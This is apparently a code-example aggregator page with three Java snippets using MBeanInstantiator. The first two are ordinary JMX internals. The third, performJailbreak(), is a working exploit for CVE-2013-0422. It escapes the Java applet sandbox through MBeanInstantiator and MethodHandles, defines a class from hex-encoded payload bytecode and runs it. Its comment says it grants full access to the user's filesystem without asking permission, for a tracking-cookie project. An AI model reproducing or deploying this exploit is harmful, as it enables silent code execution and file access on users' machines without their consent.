Java MBeanInstantiator类代码示例

import com.sun.jmx.mbeanserver.MBeanInstantiator; //导入依赖的package包/类
/**
 * Creates a DefaultMBeanServerInterceptor with the specified
 * repository instance.
 * <p>Do not forget to call <code>initialize(outer,delegate)</code>
 * before using this object.
 * @param outer A pointer to the MBeanServer object that must be
 *        passed to the MBeans when invoking their
 *        {@link javax.management.MBeanRegistration} interface.
 * @param delegate A pointer to the MBeanServerDelegate associated
 *        with the new MBeanServer. The new MBeanServer must register
 *        this MBean in its MBean repository.
 * @param instantiator The MBeanInstantiator that will be used to
 *        instantiate MBeans and take care of class loading issues.
 * @param repository The repository to use for this MBeanServer.
 */
public DefaultMBeanServerInterceptor(MBeanServer         outer,
                                     MBeanServerDelegate delegate,
                                     MBeanInstantiator   instantiator,
                                     Repository          repository) {
    if (outer == null) throw new
        IllegalArgumentException("outer MBeanServer cannot be null");
    if (delegate == null) throw new
        IllegalArgumentException("MBeanServerDelegate cannot be null");
    if (instantiator == null) throw new
        IllegalArgumentException("MBeanInstantiator cannot be null");
    if (repository == null) throw new
        IllegalArgumentException("Repository cannot be null");

    this.server   = outer;
    this.delegate = delegate;
    this.instantiator = instantiator;
    this.repository   = repository;
    this.domain       = repository.getDefaultDomain();
}
 

import com.sun.jmx.mbeanserver.MBeanInstantiator; //导入依赖的package包/类
static Class<?> loadClass(String className, ClassLoader loader)
    throws ReflectionException {

    Class<?> theClass;
    if (className == null) {
        throw new RuntimeOperationsException(new
            IllegalArgumentException("The class name cannot be null"),
                          "Exception occurred during object instantiation");
    }
    try {
        if (loader == null)
            loader = MBeanInstantiator.class.getClassLoader();
        if (loader != null) {
            theClass = Class.forName(className, false, loader);
        } else {
            theClass = Class.forName(className);
        }
    } catch (ClassNotFoundException e) {
        throw new ReflectionException(e,
        "The MBean class could not be loaded");
    }
    return theClass;
}
 

import com.sun.jmx.mbeanserver.MBeanInstantiator; //导入依赖的package包/类
/**
 * This method contains code that takes advantage of an exploit
 * (CVE-2013-0422) affecting some versions of the Java plugin. It allows us
 * full access to the user's filesystem without needing to ask the user for
 * permission.
 * 
 * The hole that this exploit relies on has been patched in recent Java
 * versions. This code was found on Reddit and was not created by anyone
 * related to Evercookie. If we knew who the author was, we'd credit them.
 * 
 * Because the code for this exploit is already publicly available, and
 * because there is a patch already, I don't think we're changing the
 * security situation appreciably.
 */
@SuppressWarnings("rawtypes")
private static boolean performJailbreak() {
	try {

		JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
		JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer) localJmxMBeanServerBuilder.newMBeanServer("", null,
				null);
		MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();

		ClassLoader a = null;

		Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);

		Class localClass2 = localMBeanInstantiator.findClass(
				"sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);

		MethodHandles.Lookup localLookup = MethodHandles.publicLookup();

		MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class,
				new Class[] { MethodType.class });

		MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor",
				localMethodType1);

		MethodType localMethodType2 = MethodType.methodType(Void.TYPE);

		MethodHandle localMethodHandle2 = (MethodHandle) localMethodHandle1.invokeWithArguments(new Object[] {
				localLookup, localClass1, localMethodType2 });

		Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);

		MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] {
				String.class, MethodType.class });

		MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual",
				localMethodType3);

		MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);

		MethodHandle localMethodHandle4 = (MethodHandle) localMethodHandle3.invokeWithArguments(new Object[] {
				localLookup, localClass1, "createClassLoader", localMethodType4 });

		Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });

		MethodType localMethodType5 = MethodType
				.methodType(Class.class, String.class, new Class[] { byte[].class });
		MethodHandle localMethodHandle5 = (MethodHandle) localMethodHandle3.invokeWithArguments(new Object[] {
				localLookup, localClass2, "defineClass", localMethodType5 });

		byte[] bytecode = hex2Byte(payload);

		Class localClass3 = (Class) localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null,
				bytecode });

		localClass3.newInstance();

		return true;

	} catch (Throwable e) {
	}

	return false;
}